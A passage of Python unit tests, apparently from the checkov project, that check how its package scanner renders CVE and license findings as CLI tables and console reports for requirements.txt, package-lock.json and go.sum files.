  │\\n\"\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ flask                          │ 0.6                            │ BC_LIC_1                       │ DUMMY_OTHER_LICENSE                │\\n\"\n            \"\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n\"\n        ]\n    )\n\n\ndef test_create_cli_output_with_line_numbers():\n    # when\n    cli_output = create_cli_output_wrapper(with_line_numbers=True)\n\n    # then\n    assert cli_output == \"\".join(\n        [\n            \"\\t/requirements.txt - CVEs Summary:\\n\",\n            \"\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n\"\n            \"\\t│ Total CVEs: 2        │ critical: 1          │ high: 0              │ medium: 1            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n\"\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\"\n            \"\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n\"\n            \"\\t│ To fix 2/2 CVEs, go to your Prisma Cloud account                                                                                                               │\\n\"\n            \"\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n\"\n            \"\\t│ Package [Lines]      │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\"\n            \"\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n\"\n            \"\\t│ django [1-2]         │ CVE-2019-19844       │ CRITICAL             │ 1.2                  │ 1.11.27              │ 1.11.27              │                      │\\n\"\n            \"\\t│                      │ CVE-2016-6186        │ MEDIUM               │                      │ 1.8.14               │                      │                      │\\n\"\n            \"\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n\"\n            \"\\n\",\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            \"\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n\",\n            \"\\t│ Package name [Lines]           │ Package version                │ Policy ID                      │ License                            │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ django [1-2]                   │ 1.2                            │ BC_LIC_1                       │ DUMMY_LICENSE                      │\\n\"\n            \"\\t│                                │                                │ BC_LIC_1                       │ DUMMY_LICENSE2                     │\\n\"\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ django                         │ 1.12                           │ BC_LIC_2                       │ DUMMY_LICENSE_3                    │\\n\"\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ flask [5-6]                    │ 0.6                            │ BC_LIC_1                       │ DUMMY_OTHER_LICENSE                │\\n\"\n            \"\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n\"\n        ]\n    )\n\n\ndef test_create_cli_output_without_license_records():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    # when\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details,\n            licenses='Unknown',\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n            root_package={'name': \"django\", 'version': \"1.2\"},\n            used_private_registry=False\n        )\n        for details in get_vulnerabilities_details()\n    ]\n    cli_output = create_cli_output(True, cves_records)\n    # then\n    assert cli_output == \"\".join(\n        [\n            \"\\t/requirements.txt - CVEs Summary:\\n\",\n            \"\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n\",\n            \"\\t│ Total CVEs: 2        │ critical: 1          │ high: 0              │ medium: 1            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n\"\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\"\n            \"\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n\"\n            \"\\t│ To fix 2/2 CVEs, go to your Prisma Cloud account                                                                                                               │\\n\"\n            \"\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n\"\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\"\n            \"\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n\"\n            \"\\t│ django               │ CVE-2019-19844       │ CRITICAL             │ 1.2                  │ 1.11.27              │ 1.11.27              │                      │\\n\"\n            \"\\t│                      │ CVE-2016-6186        │ MEDIUM               │                      │ 1.8.14               │                      │                      │\\n\"\n            \"\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n\"\n        ]\n    )\n\n\ndef test_create_cli_output_without_cve_records():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    license_statuses = [\n        {\n            \"package_name\": \"django\",\n            \"package_version\": \"1.2\",\n            \"license\": \"DUMMY_LICENSE\",\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_1\"\n        },\n        {\n            \"package_name\": \"flask\",\n            \"package_version\": \"0.6\",\n            \"license\": \"DUMMY_OTHER_LICENSE\",  # not a real license. it is just for test a package with 2 licenses\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_1\"\n        }\n    ]\n    # when\n    license_records = [\n        create_report_license_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            licenses_status=license_status,\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n        )\n        for license_status in license_statuses\n    ]\n    cli_output = create_cli_output(True, license_records)\n\n    # then\n    assert cli_output == \"\".join(\n        [\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            \"\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n\",\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ django                         │ 1.2                            │ BC_LIC_1                       │ DUMMY_LICENSE                      │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ flask                          │ 0.6                            │ BC_LIC_1                       │ DUMMY_OTHER_LICENSE                │\\n\",\n            \"\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n\",\n        ]\n    )\n\n\ndef test_create_cli_table_for_sca_package_with_dependencies():\n    # given\n    rootless_file_path = \"package-lock.json\"\n    file_abs_path = \"/path/to/package-lock.json\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    # when\n\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details[\"details\"],\n            licenses='Unknown',\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n            root_package={'name': details[\"root_package_name\"], 'version': details[\"root_package_version\"]},\n            used_private_registry=False,\n            root_package_cve={'fixVersion': details.get('root_package_fix_version')}\n        )\n        for details in get_vulnerabilities_details_package_json()\n    ]\n\n    cli_output = create_cli_output(True, cves_records)\n    # then\n    assert cli_output == \"\".join([\n        \"\\t/package-lock.json - CVEs Summary:\\n\",\n        '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n        '\\t│ Total CVEs: 26       │ critical: 4          │ high: 10             │ medium: 11           │ low: 1               │ skipped: 0           │ Total Packages Used: │\\n',\n        '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n        '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n        '\\t│ To fix 24/26 CVEs, go to your Prisma Cloud account                                                                                                             │\\n',\n        '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n        \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ cypress              │ PRISMA-2021-0070     │ MEDIUM               │ 3.8.3                │ 7.2.0                │ 7.2.0                │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ forever              │                      │                      │ 2.0.0                │                      │ N/A                  │                      │\\n',\n        '\\t│ ├─ decode-uri-       │ CVE-2022-38900       │ LOW                  │ 0.2.0                │                      │                      │                      │\\n',\n        '\\t│ component            │                      │                      │                      │                      │                      │                      │\\n',\n        '\\t│ ├─ glob-parent       │ CVE-2020-28469       │ HIGH                 │ 3.1.0                │                      │                      │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 0.0.10               │                      │                      │                      │\\n',\n        '\\t│ │                    │ CVE-2020-7598        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 1.2.5                │                      │                      │                      │\\n',\n        '\\t│ ├─ nconf             │ CVE-2022-21803       │ HIGH                 │ 0.10.0               │                      │                      │                      │\\n',\n        '\\t│ ├─ nconf             │ CVE-2022-21803       │ HIGH                 │ 0.6.9                │                      │                      │                      │\\n',\n        '\\t│ └─ unset-value       │ PRISMA-2022-0049     │ HIGH                 │ 1.0.0                │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ grunt                │ CVE-2022-1537        │ HIGH                 │ 1.4.1                │ 1.5.3                │ 1.5.3                │                      │\\n',\n        '\\t│                      │ CVE-2022-0436        │ MEDIUM               │                      │ 1.5.2                │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ helmet               │ GHSA-C3M8-X3CG-QM2C  │ MEDIUM               │ 2.3.0                │ 2.4.0                │ 2.4.0                │                      │\\n',\n        '\\t│ ├─ debug             │ CVE-2017-16137       │ MEDIUM               │ 2.2.0                │ 2.4.0                │                      │                      │\\n',\n        '\\t│ └─ helmet-csp        │ GHSA-C3M8-X3CG-QM2C  │ MEDIUM               │ 1.2.2                │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ marked               │ CVE-2022-21681       │ HIGH                 │ 0.3.9                │ 4.0.10               │ 4.0.10               │                      │\\n',\n        '\\t│                      │ CVE-2022-21680       │ HIGH                 │                      │ 4.0.10               │                      │                      │\\n',\n        '\\t│                      │ PRISMA-2021-0013     │ MEDIUM               │                      │ 1.1.1                │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ mocha                │ PRISMA-2022-0230     │ HIGH                 │ 2.5.3                │ N/A                  │ N/A                  │                      │\\n',\n        '\\t│                      │ PRISMA-2022-0335     │ MEDIUM               │                      │ N/A                  │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ mongodb              │ GHSA-MH5C-679W-HH4R  │ HIGH                 │ 2.2.36               │ 3.1.13               │ 3.1.13               │                      │\\n',\n        '\\t│ └─ bson              │ CVE-2020-7610        │ CRITICAL             │ 1.0.9                │                      │                      │                      │\\n',\n        '\\t│                      │ CVE-2019-2391        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ swig                 │                      │                      │ 1.4.2                │                      │ N/A                  │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 0.0.10               │                      │                      │                      │\\n',\n        '\\t│ │                    │ CVE-2020-7598        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t│ └─ uglify-js         │ CVE-2015-8858        │ HIGH                 │ 2.4.24               │                      │                      │                      │\\n',\n        '\\t│                      │ PRISMA-2021-0169     │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n'\n    ])\n\n\ndef test_create_cli_output_without_dependencies():\n    # given\n    rootless_file_path = \"package.json\"\n    file_abs_path = \"/path/to/package.json\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    # when\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details,\n            licenses='Unknown',\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n            root_package={'name': details[\"packageName\"], 'version': details[\"packageVersion\"]},\n            used_private_registry=False\n        )\n        for details in get_vulnerabilities_details_no_deps()\n    ]\n\n    cli_output = create_cli_output(True, cves_records)\n    # then\n\n    assert cli_output == \"\".join(\n        [\"\\t/package.json - CVEs Summary:\\n\",\n         '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n         '\\t│ Total CVEs: 3        │ critical: 0          │ high: 2              │ medium: 1            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n',\n         '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n         '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n         '\\t│ To fix 3/3 CVEs, go to your Prisma Cloud account                                                                                                               │\\n',\n         '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n         \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n         '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n         '\\t│ marked               │ CVE-2022-21681       │ HIGH                 │ 0.3.9                │ 4.0.10               │ 4.0.10               │                      │\\n',\n         '\\t│                      │ CVE-2022-21680       │ HIGH                 │                      │ 4.0.10               │                      │                      │\\n',\n         '\\t│                      │ PRISMA-2021-0013     │ MEDIUM               │                      │ 1.1.1                │                      │                      │\\n',\n         '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n'\n         ]\n    )\n\ndef test_create_cli_table_for_package_with_diff_CVEs():\n    # given\n    rootless_file_path = \"package-lock.json\"\n    file_abs_path = \"/path/to/package-lock.json\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    # when\n\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details[\"details\"],\n            licenses='Unknown',\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n            root_package={'name': details[\"root_package_name\"], 'version': details[\"root_package_version\"]},\n            used_private_registry=False,\n            root_package_cve={'fixVersion': details.get('root_package_fix_version')}\n        )\n        for details in get_vulnerabilities_details_package_lock_json()\n    ]\n\n    cli_output = create_cli_output(True, cves_records)\n    # then\n    assert cli_output == \"\".join([\n        \"\\t/package-lock.json - CVEs Summary:\\n\",\n        '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n        '\\t│ Total CVEs: 27       │ critical: 4          │ high: 11             │ medium: 11           │ low: 1               │ skipped: 0           │ Total Packages Used: │\\n',\n        '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n        '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n        '\\t│ To fix 25/27 CVEs, go to your Prisma Cloud account                                                                                                             │\\n',\n        '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n        \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ cypress              │ PRISMA-2021-0070     │ MEDIUM               │ 3.8.3                │ 7.2.0                │ 7.2.0                │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ forever              │                      │                      │ 2.0.0                │                      │ N/A                  │                      │\\n',\n        '\\t│ ├─ decode-uri-       │ CVE-2022-38900       │ LOW                  │ 0.2.0                │                      │                      │                      │\\n',\n        '\\t│ component            │                      │                      │                      │                      │                      │                      │\\n',\n        '\\t│ ├─ glob-parent       │ CVE-2020-28469       │ HIGH                 │ 3.1.0                │                      │                      │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 0.0.10               │                      │                      │                      │\\n',\n        '\\t│ │                    │ CVE-2020-7598        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 1.2.5                │                      │                      │                      │\\n',\n        '\\t│ ├─ nconf             │ CVE-2022-21803       │ HIGH                 │ 0.10.0               │                      │                      │                      │\\n',\n        '\\t│ ├─ nconf             │ CVE-2022-21803       │ HIGH                 │ 0.6.9                │                      │                      │                      │\\n',\n        '\\t│ │                    │ CVE-2002-21803       │ HIGH                 │                      │                      │                      │                      │\\n',\n        '\\t│ └─ unset-value       │ PRISMA-2022-0049     │ HIGH                 │ 1.0.0                │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ grunt                │ CVE-2022-1537        │ HIGH                 │ 1.4.1                │ 1.5.3                │ 1.5.3                │                      │\\n',\n        '\\t│                      │ CVE-2022-0436        │ MEDIUM               │                      │ 1.5.2                │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ helmet               │ GHSA-C3M8-X3CG-QM2C  │ MEDIUM               │ 2.3.0                │ 2.4.0                │ 2.4.0                │                      │\\n',\n        '\\t│ ├─ debug             │ CVE-2017-16137       │ MEDIUM               │ 2.2.0                │ 2.4.0                │                      │                      │\\n',\n        '\\t│ └─ helmet-csp        │ GHSA-C3M8-X3CG-QM2C  │ MEDIUM               │ 1.2.2                │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ marked               │ CVE-2022-21681       │ HIGH                 │ 0.3.9                │ 4.0.10               │ 4.0.10               │                      │\\n',\n        '\\t│                      │ CVE-2022-21680       │ HIGH                 │                      │ 4.0.10               │                      │                      │\\n',\n        '\\t│                      │ PRISMA-2021-0013     │ MEDIUM               │                      │ 1.1.1                │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ mocha                │ PRISMA-2022-0230     │ HIGH                 │ 2.5.3                │ N/A                  │ N/A                  │                      │\\n',\n        '\\t│                      │ PRISMA-2022-0335     │ MEDIUM               │                      │ N/A                  │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ mongodb              │ GHSA-MH5C-679W-HH4R  │ HIGH                 │ 2.2.36               │ 3.1.13               │ 3.1.13               │                      │\\n',\n        '\\t│ └─ bson              │ CVE-2020-7610        │ CRITICAL             │ 1.0.9                │                      │                      │                      │\\n',\n        '\\t│                      │ CVE-2019-2391        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n        '\\t│ swig                 │                      │                      │ 1.4.2                │                      │ N/A                  │                      │\\n',\n        '\\t│ ├─ minimist          │ CVE-2021-44906       │ CRITICAL             │ 0.0.10               │                      │                      │                      │\\n',\n        '\\t│ │                    │ CVE-2020-7598        │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t│ └─ uglify-js         │ CVE-2015-8858        │ HIGH                 │ 2.4.24               │                      │                      │                      │\\n',\n        '\\t│                      │ PRISMA-2021-0169     │ MEDIUM               │                      │                      │                      │                      │\\n',\n        '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n'])\n\n\ndef test_create_cli_table_for_package_with_reachability_data():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    # when\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details,\n            licenses='Unknown',\n            package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n            root_package={'name': details[\"packageName\"], 'version': details[\"packageVersion\"]},\n            used_private_registry=False\n        )\n        for details in get_vulnerabilities_details_is_used_packages()\n    ]\n    cli_output = create_cli_output(True, cves_records)\n    with open(os.path.join(CLI_OUTPUTS_DIR, \"test_create_cli_table_for_package_with_reachability_data.txt\")) as f:\n        expected_cli_output = f.read()\n    assert expected_cli_output == cli_output\n"
  },
  {
    "path": "tests/sca_package_2/test_output_reports.py",
    "content": "import json\nimport xml\nimport xml.dom.minidom\nimport os\nfrom operator import itemgetter\nfrom pathlib import Path\nfrom typing import List\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.csv import CSVSBOM, FILE_NAME_OSS_PACKAGES\nfrom checkov.common.output.cyclonedx import CycloneDX\nfrom checkov.common.output.sarif import Sarif\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\nOUTPUTS_DIR = Path(__file__).parent / \"outputs\"\n\n\n@pytest.mark.parametrize(\"env_value, expected_result\", [\n    (\"value1\", \"result1\"),\n    (\"value2\", \"result2\"),\n    (\"value3\", \"result3\"),\n])\ndef test_env_var(monkeypatch, env_value, expected_result):\n    monkeypatch.setenv(\"MY_ENV_VAR\", env_value)\n\n    # Simulate your function that depends on the env var\n    result = some_function_relying_on_env()\n\n    assert result == expected_result\n\n\ndef some_function_relying_on_env():\n    value = os.getenv(\"MY_ENV_VAR\")\n    if value == \"value1\":\n        return \"result1\"\n    elif value == \"value2\":\n        return \"result2\"\n    elif value == \"value3\":\n        return \"result3\"\n    return \"default\"\n\n\ndef _get_deterministic_items_in_cyclonedx(pretty_xml_as_list: List[str]) -> List[str]:\n    # the lines with the fields \"serialNumber\", \"bom-ref\" and \"timestamp\" contain some not-deterministic data (uuids,\n    # timestamp). so we skip these lines by the first 'if when checking whether we get the expected results\n    # in addition also the line that display the checkov version may be changeable, so we skip it as well\n    # (in the second 'if')\n    black_list_words = [\"bom-ref\", \"serialNumber\", \"timestamp\", \"bom\", \"xml\"]\n    filtered_list = []\n    for i, line in enumerate(pretty_xml_as_list):\n        if not any(word in line for word in black_list_words):\n            if i == 0 or not any(tool_name in pretty_xml_as_list[i - 1] for tool_name in\n                                 (\"<name>checkov</name>\", \"<name>cyclonedx-python-lib</name>\")):\n                filtered_list.append(\n                    line.replace('&quot;', '\\\"'))  # fixes differences in xml prettyprint between python 3.12 and 3.13\n    return filtered_list\n\n\ndef test_console_output(mocker, sca_package_2_report):\n    console_output = sca_package_2_report.print_console(False, False, None, None, False)\n\n    # then\n\n    assert console_output == \"\".join(\n        [\n            'sca_package scan results:\\n',\n            '\\n',\n            'Failed checks: 7, Skipped checks: 3\\n',\n            '\\n',\n            '\\t/requirements.txt - CVEs Summary:\\n',\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 6        │ critical: 1          │ high: 2              │ medium: 1            │ low: 0               │ skipped: 2           │ Total Packages Used: │\\n',\n            '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t│ To fix 4/4 CVEs, go to your Prisma Cloud account                                                                                                               │\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ flask                │ CVE-2018-1000656     │ HIGH                 │ 0.6                  │ 0.12.3               │ 0.12.3               │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ django               │ CVE-2019-19844       │ CRITICAL             │ 1.2                  │ 1.11.27              │ 2.2.24               │                      │\\n',\n            '\\t│                      │ CVE-2016-7401        │ HIGH                 │                      │ 1.8.15               │                      │                      │\\n',\n            '\\t│                      │ CVE-2021-33203       │ MEDIUM               │                      │ 2.2.24               │                      │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n            \"\\n\",\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            '\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n',\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            '\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n',\n            '\\t│ flask                          │ 0.6                            │ BC_LIC_1                       │ DUMMY_OTHER_LICENSE                │\\n',\n            '\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n',\n            \"\\n\",\n            \"\\t/path/to/go.sum - CVEs Summary:\\n\",\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 2        │ critical: 0          │ high: 2              │ medium: 0            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n',\n            '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t│ To fix 2/2 CVEs, go to your Prisma Cloud account                                                                                                               │\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ golang.org/x/crypto  │ CVE-2020-29652       │ HIGH                 │ v0.0.1               │ 0.0.2                │ 0.0.2                │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ github.com/dgrijalva │ CVE-2020-26160       │ HIGH                 │ v3.2.0               │ 4.0.0rc1             │ 4.0.0rc1             │                      │\\n',\n            '\\t│ /jwt-go              │                      │                      │                      │                      │                      │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n\n        ]\n    )\n\n\ndef test_console_output_in_tty(mocker: MockerFixture, sca_package_2_report):\n    # simulate a tty call by enforcing color\n    mocker.patch.dict(os.environ, 